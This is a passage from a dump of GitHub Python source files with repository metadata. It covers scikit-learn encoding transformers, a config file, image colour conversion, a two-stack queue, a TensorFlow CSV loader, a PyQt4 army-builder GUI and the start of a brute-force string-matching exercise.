True\n return self\n\n def transform(self, X, y=None):\n if self.verbose:\n print(f'Transform: Lookup table encoding {self.name}...')\n\n assert self.fitted == True\n\n mapped_column = X.map(self.mapping)\n if self.fill == 'mean':\n mapped_column.fillna(self._mean, inplace=True)\n elif self.fill =='ExtremeValue':\n mapped_column.fillna(-999, inplace=True)\n return mapped_column\n\n\nclass DoubleLookupEncoder(BaseEstimator, TransformerMixin):\n def __init__(self, lookup_table, fill='ExtremeValue', name=\"\", verbose=0):\n \"\"\"\n Replaces every label combination in two columns with the value given\n in the lookup_table.\n\n NaN can either be filled with 'mean' or 'ExtremeValue'.\n\n The second\n \"\"\"\n self.lookup_table = lookup_tabl\n self.fill = fill\n self.name=name\n self.verbose = verbose\n self._mean = None\n self.mapping = None\n\n def fit(self, X, y, **kwargs):\n if self.verbose:\n print(f'Fit: Double Lookup table encoding {self.name}...')\n\n self.lookup_table.columns = ['label1', 'label2', 'encoding', 'count']\n if self.fill=='mean':\n self._mean = np.sum(\n (self.lookup_table['count'] * self.lookup_table['encoding'])\n / np.sum(self.lookup_table['count'])\n )\n self.fitted = True\n return self\n\n def transform(self, X, y = None):\n if self.verbose:\n print(f'Transform: Double Lookup table encoding {self.name}...')\n\n assert self.fitted == True\n assert isinstance(X, pd.DataFrame)\n\n X = X.copy()\n X.columns = ['label1', 'label2']\n # make sure version is always int:\n\n mapped_column = X.merge(self.lookup_table, how='left',\n on=['label1', 'label2'])['encoding']\n\n if self.fill == 'mean':\n mapped_column.fillna(self._mean, inplace=True)\n elif self.fill =='ExtremeValue':\n mapped_column.fillna(-999, inplace=True)\n return mapped_column\n\n\nclass TargetEncoder(BaseEstimator, TransformerMixin):\n def __init__(self, smoothing=0, fill='ExtremeValue', name=\"\", verbose=0,):\n \"\"\"\n Replaces every label in a categorical column with the average value of\n the target (i.e. value that you are trying to predict).\n\n Add smoothing to bias values to the mean target value for labels\n with few observations.\n \"\"\"\n self.smoothing = smoothing\n self.fill = fill\n self.name=name\n self.verbose = verbose\n self._mean = None\n self.mapping = None\n\n def fit(self, X, y, **kwargs):\n if self.verbose: print(f'Fit: Target Mean encoding {self.name}...')\n\n assert X.shape[0] == y.shape[0]\n assert isinstance(X, pd.Series)\n assert isinstance(y, pd.Series)\n\n combined = pd.concat([X, y], axis=1, ignore_index=True)\n combined.columns = ['label', 'target']\n\n self._mean = y.mean()\n\n self.mapping = combined.groupby('label').target.\\\n apply(lambda x: ((x.mean() * x.count()) +\n self._mean*self.smoothing) /\n (x.count()+self.smoothing))\n self.fitted = True\n return self\n\n def transform(self, X, y=None):\n if self.verbose:\n print(f'Transform: Target Mean encoding {self.name}...')\n assert self.fitted == True\n assert (y is None or X.shape[0] == y.shape[0])\n assert isinstance(X, pd.Series)\n\n combined = pd.DataFrame(X)\n combined.columns = ['label']\n combined['label_target_enc'] = combined['feat'].map(self.mapping)\n\n if self.fill == 'mean':\n combined['feat_target_enc'].fillna(self._mean, inplace=True)\n elif self.fill =='ExtremeValue':\n combined['feat_target_enc'].fillna(-999, inplace=True)\n return combined['feat_target_enc']\n\n\ndef fit_transformers(X, target=None, target_enc_cols = [], onehot_cols = [],\n onehot_top10_cols = [], lookup_cols = {},\n double_lookup_cols = {},\n fill=\"ExtremeValue\",\n verbose=0):\n \"\"\"\n\n Returns fitted transformer object.\n\n Fills all numerical columns except target.\n\n One hot encodes all categorical columns, except the categorical columns\n that are target encoded, onehot-top10 encoded, lookup encoded or double\n lookup encoded.\n\n \"\"\"\n num_columns = list(set(X.select_dtypes(include=np.number).columns)\n - set([target]))\n\n obj_columns = X.select_dtypes(include=['object']).columns\n\n # all the obj columns not otherwise specified get onehot-encoded:\n onehot_columns = list(set(list(set(obj_columns)\n - set(target_enc_cols)\n - set(onehot_top10_cols)\n - set(lookup_cols.keys())\n - set([key[0] for key in double_lookup_cols.keys()]\n + [key[1] for key in double_lookup_cols.keys()])\n ) + onehot_cols))\n\n mappers = []\n\n # dummy transform to make sure target stays in the transformed dataframe:\n mappers = mappers + gen_features(\n columns=[target],\n classes = [{'class' : DummyTransform,\n 'name': target,\n 'verbose':1}],\n input_df = True\n )\n\n # Fill missing values in numerical columns:\n for num_col in num_columns:\n mappers = mappers + gen_features(\n columns=[num_col],\n classes = [{'class' : NumericFill,\n 'fill': fill,\n 'name': num_col,\n 'verbose':1}],\n input_df = True\n )\n\n for target_col in target_enc_cols:\n mappers = mappers + gen_features(\n columns=[target_col],\n classes = [{'class' : TargetEncoder,\n 'fill' : fill,\n 'name': target_col,\n 'smoothing': 10,\n 'verbose':1}],\n input_df = True,\n suffix = \"_enc\")\n\n for onehot_col in onehot_top10_cols:\n mappers = mappers + gen_features(\n columns=[onehot_col],\n classes=[{'class' : OneHot,\n 'topx': 10,\n 'name': onehot_col,\n 'verbose':1}],\n input_df = True\n )\n\n for onehot_col in onehot_cols:\n mappers = mappers + gen_features(\n columns=[onehot_col],\n classes=[{'class' : OneHot,\n 'name': onehot_col,\n 'verbose':1}],\n input_df = True\n )\n\n for col, lookup_table in lookup_cols.items():\n print(f'lookup table: {col}')\n mappers = mappers + gen_features(\n columns=[col],\n classes=[{'class' : LookupEncoder,\n 'lookup_table' : lookup_table,\n 'fill' : fill,\n 'name' : col,\n 'verbose':1}],\n input_df = True,\n suffix = \"_enc\"\n )\n\n for cols, lookup_table in double_lookup_cols.items():\n mappers = mappers + gen_features(\n columns=[[cols[0], cols[1]]],\n classes=[{'class' : DoubleLookupEncoder,\n 'lookup_table' : lookup_table,\n 'fill' : fill,\n 'name':cols[2],\n 'verbose':1}],\n input_df = True,\n alias = cols[2]\n )\n\n if verbose:\n print(\"Columns being transformed: \")\n print(\"numeric columns: \", num_columns)\n print(\"categorical columns: \", obj_columns)\n print(\"target_column: \", target)\n print(\"target encoded columns: \", target_enc_cols)\n print(\"top10 onehotencoded columns: \", onehot_top10_cols)\n print(\"onehotencoded columns: \", onehot_columns)\n print(\"lookup columns: \", lookup_cols.keys())\n print(\"double lookup columns: \", double_lookup_cols.keys())\n\n mapper = DataFrameMapper(mappers, df_out=True)\n\n\n if verbose: print(\"fitting transformer...\")\n X = X.copy()\n mapper.fit(X, X[target])\n return mapper\n\n\ndef fit_embedding_transformers(X, target=None,\n lookup_cols = {}, double_lookup_cols = {},\n fill=\"mean\", verbose=0):\n \"\"\"\n Return a transformer object that fills numerical features with its mean\n and then StandardScales them.\n\n Categorical features get label encoded to prepare them to be entered into\n an Embedding layer.\n\n Returns the transformer object, a list of numeric features and a list of\n categorical features.\n \"\"\"\n num_columns = X.drop([target], axis=1)\\\n .select_dtypes(include=np.number).columns.tolist()\n\n obj_columns = X.select_dtypes(include=['object']).columns.tolist()\n\n mappers = []\n\n mappers = mappers + gen_features(\n columns=[target],\n classes = [{'class' : DummyTransform,\n 'name': target,\n 'verbose':1}],\n input_df = True\n )\n\n for num_col in num_columns:\n mappers = mappers + gen_features(\n columns=[num_col],\n classes = [{'class' : NumericFill,\n 'fill': fill,\n 'name': num_col,\n 'verbose':1},\n {'class' : StandardScale,\n 'name': num_col,\n 'verbose':1}],\n input_df = True\n )\n\n for obj_col in obj_columns:\n mappers = mappers + gen_features(\n columns=[obj_col],\n classes = [{'class' : LabelEncode,\n 'name': obj_col,\n 'verbose':1}],\n input_df = True\n )\n\n\n for col, lookup_table in lookup_cols.items():\n print(f'lookup table: {col}')\n mappers = mappers + gen_features(\n columns=[col],\n classes=[{'class' : LookupEncoder,\n 'lookup_table' : lookup_table,\n 'fill' : fill,\n 'name' : col,\n 'verbose':1}],\n input_df = True,\n suffix = \"_enc\"\n )\n\n for cols, lookup_table in double_lookup_cols.items():\n mappers = mappers + gen_features(\n columns=[[cols[0], cols[1]]],\n classes=[{'class' : DoubleLookupEncoder,\n 'lookup_table' : lookup_table,\n 'fill' : fill,\n 'name':cols[2],\n 'verbose':1}],\n input_df = True,\n alias = cols[2]\n )\n\n if verbose:\n print(\"Columns being transformed: \")\n print(\"numeric columns: \", num_columns)\n print(\"categorical columns: \", obj_columns)\n print(\"target_column: \", target)\n print(\"lookup columns: \", lookup_cols.keys())\n print(\"double lookup columns: \", double_lookup_cols.keys())\n\n transformers = DataFrameMapper(mappers, df_out=True)\n\n if verbose: print(\"fitting transformer...\")\n X = X.copy()\n transformers.fit(X, X[target])\n return transformers, num_columns, obj_columns\n\n\ndef apply_transformers(X, transformers, verbose=0):\n if transformers is not None:\n return transformers.transform(X)\n else:\n return None\n","repo_name":"oegedijk/sklearn-transformers","sub_path":"sklearn-transformers.py","file_name":"sklearn-transformers.py","file_ext":"py","file_size_in_byte":27236,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"29100345780","text":"\n# This file contains assorted variables to make them available in all the molules\n\ndt = 60\nreductionFactor = 1\nexchLag = 100\nstrechFactor = 10\npowerCurve = []\ndataSetLength = 2000\ndummyTamb = 25\ndummyWind = 15\ncurrentLocation = '/home/govejero/Documents/AD8/thermal-inertia-python/'\n#Comment to test\n","repo_name":"GabrielOv/thermal-inertia-python","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28721908569","text":"import numpy as np\n\n\ndef rgb_to_cmyk(rgb_img):\n \"\"\"\n Convert an rgb image to Cyan Magenta Yellow and Black\n \"\"\"\n # Make float and divide by 255 to give BGRdash\n rgbdash = rgb_img.astype(np.float) / 255.\n epsilon = 1e-12\n\n # Calculate K as (1 - whatever is biggest out of Rdash, Gdash, Bdash)\n K = 1 - np.max(rgbdash, axis=2) - epsilon\n\n # Calculate C\n C = (1 - rgbdash[..., 0] - K) / (1 - K)\n\n # Calculate M\n M = (1 - rgbdash[..., 1] - K) / (1 - K)\n\n # Calculate Y\n Y = (1 - rgbdash[..., 2] - K) / (1 - K)\n\n # Combine 4 channels into single image and re-scale back up to uint8\n return (np.dstack((C, M, Y, K)) * 255).astype(np.uint8)\n\n\ndef smooth(y, box_pts):\n \"\"\"\n Smooth an dataset given a square function to convolve\n \"\"\"\n box = np.ones(box_pts)/box_pts\n y_smooth = np.convolve(y, box, mode='same')\n return y_smooth\n","repo_name":"xgroleau/s8-app3","sub_path":"src/images/color_transformation.py","file_name":"color_transformation.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26248531517","text":"# Queue implemented with 2 Stacks data structure\n\n\n# ================================================================================\n\n# Stack Implementation\n\n# ================================================================================\n\n\nclass Stack:\n def __init__(self):\n self.data = []\n self.size = 0\n self.max_capacity = 3\n\n def push(self, data):\n if self.size < self.max_capacity:\n self.data.append(data)\n self.size += 1\n else:\n print(\"Error: StackOverFlow\")\n\n def pop(self):\n if self.size == 0:\n print(\"Error: StackUnderFlow\")\n else:\n self.size -= 1\n return self.data.pop()\n\n def peek(self):\n if self.size > 0:\n return self.data[-1]\n print(\"The stack is empty. Nothing will be returned.\")\n\n def is_empty(self):\n if self.size == 0:\n return True\n return False\n\n def is_full(self):\n if self.size == self.max_capacity:\n return True\n return False\n\n\n# ================================================================================\n\n# Queue Implementation\n\n# ================================================================================\n\n\nclass Queue:\n def __init__(self):\n self.enqueue_stack = (\n Stack()\n ) # All items'll be positioned in this stack after enqueue() operation\n self.dequeue_stack = (\n Stack()\n ) # All items'll be positioned in this stack after dequeue() operation\n\n def enqueue(self, data):\n if (self.dequeue_stack.size < self.dequeue_stack.max_capacity) and (\n self.enqueue_stack.size < self.enqueue_stack.max_capacity\n ):\n if self.dequeue_stack.is_empty != True:\n while self.dequeue_stack.size > 0:\n self.enqueue_stack.push(self.dequeue_stack.pop())\n self.enqueue_stack.push(data)\n else:\n print(\"Error: Queue Overflow\")\n\n def dequeue(self):\n if (self.dequeue_stack.size + self.enqueue_stack.size) > 0:\n if self.enqueue_stack.is_empty != True:\n while self.enqueue_stack.size > 0:\n self.dequeue_stack.push(self.enqueue_stack.pop())\n self.dequeue_stack.pop()\n else:\n print(\"Error: Queue Underflow\")\n\n\n# Test cases\n\nqueue = Queue()\nqueue.enqueue(1)\nqueue.enqueue(2)\nqueue.enqueue(3)\nqueue.enqueue(4)\nqueue.enqueue(5)\nqueue.dequeue()\nqueue.enqueue(6)\nqueue.dequeue()\n\nassert queue.enqueue_stack.peek() == None\nassert queue.dequeue_stack.peek() == 3\n\n# Expected Output: print 'Queue Overflow' twice, A 'stack is empty' message will also be printed.\n# And no errors arise.\n","repo_name":"tanweikang02/data_structure_algorithms","sub_path":"queues/queue_two_stacks.py","file_name":"queue_two_stacks.py","file_ext":"py","file_size_in_byte":2745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72531034386","text":"import csv\nimport tensorflow as tf\n\nfilename = '/mnt/f/coding/bigdata/signature/train.csv'\n\ntrain_label = []\ntrain_data = [[]]\n\ntry:\n\twith open(filename) as f:\n\t\treader = csv.reader(f)\n\t\tc = 0\n\t\tr = 0\n\t\tfor row in reader:\n\t\t\tif r == 0:\n\t\t\t\theader = row\n\t\t\telse:\n\t\t\t\tpic = []\n\t\t\t\tfor item in row:\n\t\t\t\t\tif c == 0:\n\t\t\t\t\t\ttrain_label.append(item)\n\t\t\t\t\telse:\n\t\t\t\t\t\tpic.append(int(item))\n\t\t\t\t\tc += 1\n\t\t\t\ttrain_data.append(pic)\n\t\t\tr += 1\n\t\t\tc = 0\nexcept csv.Error as e:\n\tprint(\"Eorror reading csv file at line %s:%s\" % (reader.line_num,e))\n\tsys.exit(-1)\n\t\none_hot_label = []\n\nlabel = tf.constant(train_label)\noh_label = tf.placeholder(tf.int16,[None,10])\n\nlabel_convert = tf.gather(oh_label,label,True)\n\ninit = tf.initialize_all_variables()\n\nsess = tf.Session()\n\nsess.run(init)\n\nsess.run(label_convert)\n\nprint(oh_label)","repo_name":"hunterzju/python","sub_path":"bigdata/signature/data_processor.py","file_name":"data_processor.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26259200060","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n__author__ = 'a.libkind'\n\nfrom PyQt4 import QtGui, QtCore\nimport sys\nfrom interface.interface import Ui_MainWindow\nfrom interface.dialogs import *\nfrom src import core, SquadTemplate, ArmySquad, SquadTypes, SquadMods, Army, SquadMobility\nfrom elixir import *\n\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\nclass MainWindow(QtGui.QMainWindow):\n def __init__(self):\n QtGui.QMainWindow.__init__(self)\n self.loaded = False\n self.trigger_lock = False\n self.mainwindow = Ui_MainWindow()\n self.mainwindow.setupUi(self)\n self.load_data()\n self.loaded = True\n\n def load_data(self):\n curtab = self.mainwindow.toolBox.currentIndex()\n core.calc_all()\n self.fill_templatetable()\n self.fill_modstable()\n self.fill_armytree()\n self.fill_squadtable()\n self.fill_typetable()\n self.mainwindow.toolBox.setCurrentIndex(curtab)\n\n def fill_armytree(self):\n self.loaded = False\n self.mainwindow.armylist.clear()\n self.mainwindow.armylist.setHeaderItem(QtGui.QTreeWidgetItem(['Name', 'ID', 'SType', 'TS', 'Raise', 'Supply', 'Weight', 'TL', 'Type', 'Mods', 'Casualities', 'Count']))\n self.mainwindow.armylist.setColumnHidden(1, True)\n self.mainwindow.armylist.setColumnHidden(2, True)\n self.mainwindow.armylist.header().setResizeMode(QtGui.QHeaderView.ResizeToContents)\n #.setResizeMode(QtGui.QHeaderView.Stretch)\n quer = Army.Army.query.all()\n for cur, templ in enumerate(quer):\n arm = templ.calcer2()\n root = QtGui.QTreeWidgetItem(self.mainwindow.armylist, arm['army'])\n for squad in arm['squads']:\n adding = QtGui.QTreeWidgetItem(root, squad['data'])\n if len(squad['transporting']) > 0:\n for sqt in squad['transporting']:\n lv2 = QtGui.QTreeWidgetItem(adding, sqt['data'])\n self.loaded = True\n\n def fill_squadtable(self):\n self.loaded = False\n self.mainwindow.squadtable.clear()\n self.mainwindow.squadtable.setColumnCount(10)\n for num, dat in enumerate(['ID', 'Name', 'Type', 'Mods', 'Casualities', 'Template', 'Mobility', 'Equip', 'Expirience', u'Количество']):\n self.mainwindow.squadtable.setHorizontalHeaderItem(num, QtGui.QTableWidgetItem(dat))\n self.mainwindow.squadtable.setColumnHidden(0, True)\n self.mainwindow.squadtable.horizontalHeader().setResizeMode(QtGui.QHeaderView.ResizeToContents)\n quer = ArmySquad.ArmySquad.query.all()\n self.mainwindow.squadtable.setRowCount(len(quer))\n\n for cur, templ in enumerate(quer):\n fields = templ.calcer()\n item = QtGui.QTreeWidgetItem(fields)\n item.templ = templ\n for num, dat in enumerate(fields):\n res = QtGui.QTableWidgetItem(dat)\n if not num in [1, 4, 9]: res.setFlags(QtCore.Qt.ItemIsEnabled)\n self.mainwindow.squadtable.setItem(cur, num, res)\n self.loaded = True\n\n def fill_modstable(self):\n self.loaded = False\n self.mainwindow.modstable.clear()\n self.mainwindow.modstable.setColumnCount(8)\n for num, dat in enumerate(['ID', 'Name', 'TS', 'Raise', 'Supply', 'Weight', 'TL', 'Comment']):\n self.mainwindow.modstable.setHorizontalHeaderItem(num, QtGui.QTableWidgetItem(dat))\n self.mainwindow.modstable.setColumnHidden(0, True)\n self.mainwindow.modstable.horizontalHeader().setResizeMode(QtGui.QHeaderView.ResizeToContents)\n quer = SquadMods.SquadMods.query.all()\n self.mainwindow.modstable.setRowCount(len(quer))\n for cur, templ in enumerate(quer):\n fields = [str(templ.id), templ.name, str(templ.ts), str(templ.raise_cost), str(templ.supply), str(templ.weight), str(templ.tl), str(templ.comment)]\n #item = QtGui.QTreeWidgetItem(fields)\n #item.templ = templ\n for num, dat in enumerate(fields):\n self.mainwindow.modstable.setItem(cur, num, QtGui.QTableWidgetItem(dat))\n self.loaded = True\n\n def fill_typetable(self):\n self.loaded = False\n self.mainwindow.typetable.clear()\n for num, dat in enumerate(['ID', 'Type']):\n self.mainwindow.typetable.setHorizontalHeaderItem(num, QtGui.QTableWidgetItem(dat))\n self.mainwindow.typetable.setColumnHidden(0, True)\n self.mainwindow.typetable.horizontalHeader().setResizeMode(QtGui.QHeaderView.ResizeToContents)\n quer = SquadTypes.SquadTypes.query.all()\n self.mainwindow.typetable.setRowCount(len(quer))\n\n for cur, templ in enumerate(quer):\n fields = [str(templ.id), templ.name]\n item = QtGui.QTreeWidgetItem(fields)\n for num, dat in enumerate(fields):\n self.mainwindow.typetable.setItem(cur, num, QtGui.QTableWidgetItem(dat))\n\n\n self.mainwindow.mobilitytable.clear()\n self.mainwindow.mobilitytable.setColumnCount(3)\n for num, dat in enumerate(['ID', 'Mobility', 'Comment']):\n self.mainwindow.mobilitytable.setHorizontalHeaderItem(num, QtGui.QTableWidgetItem(dat))\n self.mainwindow.mobilitytable.setColumnHidden(0, True)\n quer = SquadMobility.SquadMobility.query.all()\n self.mainwindow.mobilitytable.setRowCount(len(quer))\n\n for cur, templ in enumerate(quer):\n fields = [str(templ.id), templ.name, templ.comment]\n item = QtGui.QTreeWidgetItem(fields)\n for num, dat in enumerate(fields):\n self.mainwindow.mobilitytable.setItem(cur, num, QtGui.QTableWidgetItem(dat))\n\n self.loaded = True\n\n def fill_templatetable(self):\n self.loaded = False\n self.mainwindow.templatetable.clear()\n self.mainwindow.templatetable.setColumnCount(12)\n for num, dat in enumerate(['ID', 'Name', 'TS', 'Raise', 'Supply', 'Weight', 'TL', 'Type', 'Mobility', u'Скорость', u'Грузоподьемность', 'Support']):\n self.mainwindow.templatetable.setHorizontalHeaderItem(num, QtGui.QTableWidgetItem(dat))\n self.mainwindow.templatetable.setColumnHidden(0, True)\n self.mainwindow.templatetable.horizontalHeader().setResizeMode(QtGui.QHeaderView.ResizeToContents)\n quer = SquadTemplate.SquadTemplate.query.all()\n self.mainwindow.templatetable.setRowCount(len(quer))\n for cur, templ in enumerate(quer):\n fields = templ.calcer()\n for num, dat in enumerate(fields):\n res = QtGui.QTableWidgetItem(dat)\n if num in [7, 8, 9, 11]: res.setFlags(QtCore.Qt.ItemIsEnabled)\n self.mainwindow.templatetable.setItem(cur, num, res)\n self.loaded = True\n\n def on_squadtable_cellClicked(self, row, col):\n target = ArmySquad.ArmySquad.get_by(id=int(self.mainwindow.templatetable.item(row, 0).text()))\n self.mainwindow.squadopts.setText(target.typelist())\n\n def on_templatetable_cellDoubleClicked(self, row, col):\n if col == 7:\n target = SquadTemplate.SquadTemplate.get_by(id=int(self.mainwindow.templatetable.item(row, 0).text()))\n dlg = TypeChange(self, types=[t.id for t in target.type], item=target)\n if dlg.exec_():\n self.load_data()\n if col == 8:\n target = SquadTemplate.SquadTemplate.get_by(id=int(self.mainwindow.templatetable.item(row, 0).text()))\n dlg = MobilityChanger(self, mob=target.mobility, tl=target.tl, item=target)\n if dlg.exec_():\n self.load_data()\n if col == 11:\n target = SquadTemplate.SquadTemplate.get_by(id=int(self.mainwindow.templatetable.item(row, 0).text()))\n target.support = not target.support\n core.saveData()\n self.load_data()\n\n def on_squadtable_cellDoubleClicked(self, row, col):\n '''if col == 2:\n target = ArmySquad.ArmySquad.get_by(id=int(self.mainwindow.squadtable.item(row, 0).text()))\n dlg = TypeChange(self, types=[t.id for t in target.type], item=target)\n dlg.exec_()'''\n if col == 3:\n target = ArmySquad.ArmySquad.get_by(id=int(self.mainwindow.squadtable.item(row, 0).text()))\n dlg = ModsChange(self, mods=[t.id for t in target.mods], item=target)\n if dlg.exec_():\n self.load_data()\n if col == 5:\n target = ArmySquad.ArmySquad.get_by(id=int(self.mainwindow.squadtable.item(row, 0).text()))\n dlg = TemplChange(self, templ=target.templ, item=target)\n if dlg.exec_():\n self.load_data()\n if col == 7:\n target = ArmySquad.ArmySquad.get_by(id=int(self.mainwindow.squadtable.item(row, 0).text()))\n dlg = EquipChanger(self, eq=target.equip, item=target)\n if dlg.exec_():\n self.load_data()\n if col == 8:\n target = ArmySquad.ArmySquad.get_by(id=int(self.mainwindow.squadtable.item(row, 0).text()))\n dlg = ExpChanger(self, exp=target.exp, item=target)\n if dlg.exec_():\n self.load_data()\n '''if col == 6:\n target = SquadTemplate.SquadTemplate.get_by(id=int(self.mainwindow.squadtable.item(row, 0).text()))\n dlg = MobilityChanger(self, mob=target.mobility, tl=target.tl, item=target)\n dlg.exec_()'''\n\n def on_templatetable_itemChanged(self, item):\n if self.loaded and not item.column() == 7:\n changed_item = SquadTemplate.SquadTemplate.get_by(id=int(self.mainwindow.templatetable.item(item.row(), 0).text()))\n setattr(changed_item, changed_item.fields[item.column()].name, str(item.text()).decode('utf-8'))\n core.saveData()\n self.load_data()\n\n def on_mobilitytable_itemChanged(self, item):\n if self.loaded and not item.column() == 7:\n changed_item = SquadMobility.SquadMobility.get_by(id=int(self.mainwindow.mobilitytable.item(item.row(), 0).text()))\n setattr(changed_item, changed_item.fields[item.column()].name, str(item.text()).decode('utf-8'))\n core.saveData()\n self.load_data()\n\n def on_armylist_itemClicked(self, item):\n #while item.parent():\n # item = item.parent()\n #index = item.text(1)\n if item.text(2) == 'Army':\n changed_item = Army.Army.get_by(id=int(item.text(1)))\n self.mainwindow.armyopts.setText(changed_item.typelist())\n elif item.text(2) == 'Squad':\n changed_item = ArmySquad.ArmySquad.get_by(id=int(item.text(1)))\n self.mainwindow.armyopts.setText(changed_item.typelist())\n\n def on_armylist_itemDoubleClicked(self, item):\n if item.text(2) == 'Squad':\n changed_item = ArmySquad.ArmySquad.get_by(id=int(item.text(1)))\n dlg = SquadMod(self, arm=changed_item.army, item=changed_item)\n if dlg.exec_():\n self.load_data()\n elif item.text(2) == 'Army':\n changed_item = Army.Army.get_by(id=int(item.text(1)))\n newname, ok = QtGui.QInputDialog.getText(self, 'New name', 'Enter new army name')\n if ok:\n changed_item.name = str(newname).decode('utf-8')\n core.saveData()\n self.load_data()\n\n def on_squadtable_itemChanged(self, item):\n if self.loaded:\n changed_item = ArmySquad.ArmySquad.get_by(id=int(self.mainwindow.squadtable.item(item.row(), 0).text()))\n setattr(changed_item, changed_item.fields[item.column()].name, str(item.text()).decode('utf-8'))\n core.saveData()\n self.load_data()\n\n def on_modstable_itemChanged(self, item):\n if self.loaded:\n changed_item = SquadMods.SquadMods.get_by(id=int(self.mainwindow.modstable.item(item.row(), 0).text()))\n setattr(changed_item, changed_item.fields[item.column()].name, str(item.text()).decode('utf-8'))\n core.saveData()\n self.load_data()\n\n def on_typetable_itemChanged(self, item):\n if self.loaded:\n changed_item = SquadTypes.SquadTypes.get_by(id=int(self.mainwindow.typetable.item(item.row(), 0).text()))\n setattr(changed_item, changed_item.fields[item.column()].name, str(item.text()).decode('utf-8'))\n core.saveData()\n self.load_data()\n\n def on_updateaction_triggered(self, foo=True):\n if not foo:\n self.load_data()\n\n def on_addaction_triggered(self, foo=True):\n if not foo:\n curr_view = self.mainwindow.toolBox.currentIndex()\n if curr_view == 1:\n #print SquadTemplate.SquadTemplate.query.first()\n newsquad = ArmySquad.ArmySquad(name=u'new', templ=SquadTemplate.SquadTemplate.query.first(),\n equip=SquadEquip.SquadEquip.get_by(name=u'Basic'),\n mobility=SquadMobility.SquadMobility.query.first(),\n exp=SquadExp.SquadExp.get_by(name=u'Average'))\n dlg = TemplChange(self, templ=newsquad.templ, item=newsquad)\n dlg.exec_()\n core.saveData()\n self.load_data()\n if curr_view == 2:\n newmod = SquadMods.SquadMods(name=u'new')\n core.saveData()\n self.load_data()\n if curr_view == 3:\n newtempl = SquadTemplate.SquadTemplate(name=u'new', mobility=SquadMobility.SquadMobility.query.first())\n core.saveData()\n self.load_data()\n #if curr_view == 4:\n # newtype = SquadMobility.SquadMobility(name=u'new')\n # core.saveData()\n # self.load_data()\n if curr_view == 0:\n newarmy = Army.Army(name=u'new')\n core.saveData()\n self.load_data()\n\n def on_removeaction_triggered(self, foo=True):\n if not foo:\n curr_view = self.mainwindow.toolBox.currentIndex()\n if curr_view == 1:\n rows = list(set([t.row() for t in self.mainwindow.squadtable.selectedItems()]))\n for rr in rows:\n changed_item = ArmySquad.ArmySquad.get_by(id=int(self.mainwindow.squadtable.item(rr, 0).text()))\n changed_item.delete()\n core.saveData()\n self.load_data()\n if curr_view == 2:\n rows = list(set([t.row() for t in self.mainwindow.modstable.selectedItems()]))\n for rr in rows:\n changed_item = SquadMods.SquadMods.get_by(id=int(self.mainwindow.modstable.item(rr, 0).text()))\n changed_item.delete()\n core.saveData()\n self.load_data()\n if curr_view == 3:\n rows = list(set([t.row() for t in self.mainwindow.templatetable.selectedItems()]))\n for rr in rows:\n changed_item = SquadTemplate.SquadTemplate.get_by(id=int(self.mainwindow.templatetable.item(rr, 0).text()))\n changed_item.delete()\n core.saveData()\n self.load_data()\n #if curr_view == 4:\n # rows = list(set([t.row() for t in self.mainwindow.typetable.selectedItems()]))\n # for rr in rows:\n # changed_item = SquadTypes.SquadTypes.get_by(id=int(self.mainwindow.typetable.item(rr, 0).text()))\n # changed_item.delete()\n # core.saveData()\n # self.load_data()\n if curr_view == 0:\n item = self.mainwindow.armylist.currentItem()\n while item.parent():\n item = item.parent()\n if item.text(2) == 'Army' and not item.text(1) == '999':\n changed_item = Army.Army.get_by(id=int(item.text(1)))\n changed_item.delete()\n core.saveData()\n self.load_data()\n\n def on_saveaction_triggered(self, foo=True):\n if not foo:\n curr_view = self.mainwindow.toolBox.currentIndex()\n if curr_view == 0:\n for i in range(self.mainwindow.armylist.topLevelItemCount()):\n item = self.mainwindow.armylist.topLevelItem(i)\n if item.text(2) == 'Army':\n cur_army = Army.Army.get_by(id=int(item.text(1)))\n #squads_num = item.childCount()\n squads = []\n for sq in range(item.childCount()):\n if item.child(sq).childCount() > 0:\n for j in range(item.child(sq).childCount()):\n squads.append(ArmySquad.ArmySquad.get_by(id=int(item.child(sq).child(j).text(1))))\n squads.append(ArmySquad.ArmySquad.get_by(id=int(item.child(sq).text(1))))\n cur_army.squads = squads\n core.saveData()\n self.load_data()\n\n '''def on_armylist_currentItemChanged(self, a, b):\n if b:\n item = b\n while item.parent():\n item = item.parent()\n print item.text(0), b.text(0)\n if item.text(2) != 'Army':\n print 'Unit %s change army to %s' % (b.text(0), item.text(0))\n\n new_army = Army.Army.get_by(id=int(item.text(1)))\n old_army = ArmySquad.ArmySquad.get_by(id=(int(b.text(1)))).army\n old_squads = old_army.squads\n old_squads.remove(b)\n new_army.squads.append(b)\n\n core.saveData()\n self.load_data()'''\n\nif __name__ == '__main__':\n\n core.initDB()\n #core.sampleArmy()\n core.calc_all()\n #print [(t.name, t.param) for t in ArmyTemplate.ArmyTemplate.query.all()]\n\n app = QtGui.QApplication(sys.argv)\n\n window = MainWindow()\n window.show()\n\n sys.exit(app.exec_())","repo_name":"llan0war/ArmyBuilder","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":18164,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"7801652147","text":"import sys\nsys.stdin = open(\"test_input.txt\", encoding='UTF8')\n\n\"\"\"\n**************Brute Force****************\n\"\"\"\n\n\ndef bruteforce(main_str, cmp_str):\n cnt = 0\n LM = len(main_str)\n LC = len(cmp_str)\n for i in range(LM - LC + 1):\n for j in range(LC):\n if main_str[i + j] != cmp_str[j]:\n break\n if j == LC - 1:\n cnt += 1\n return cnt\n\n\nfor tc in range(1, 11):\n dummy = input()\n cmp_str = input()\n main_str = input()\n print(\"#{} {}\".format(tc, bruteforce(main_str, 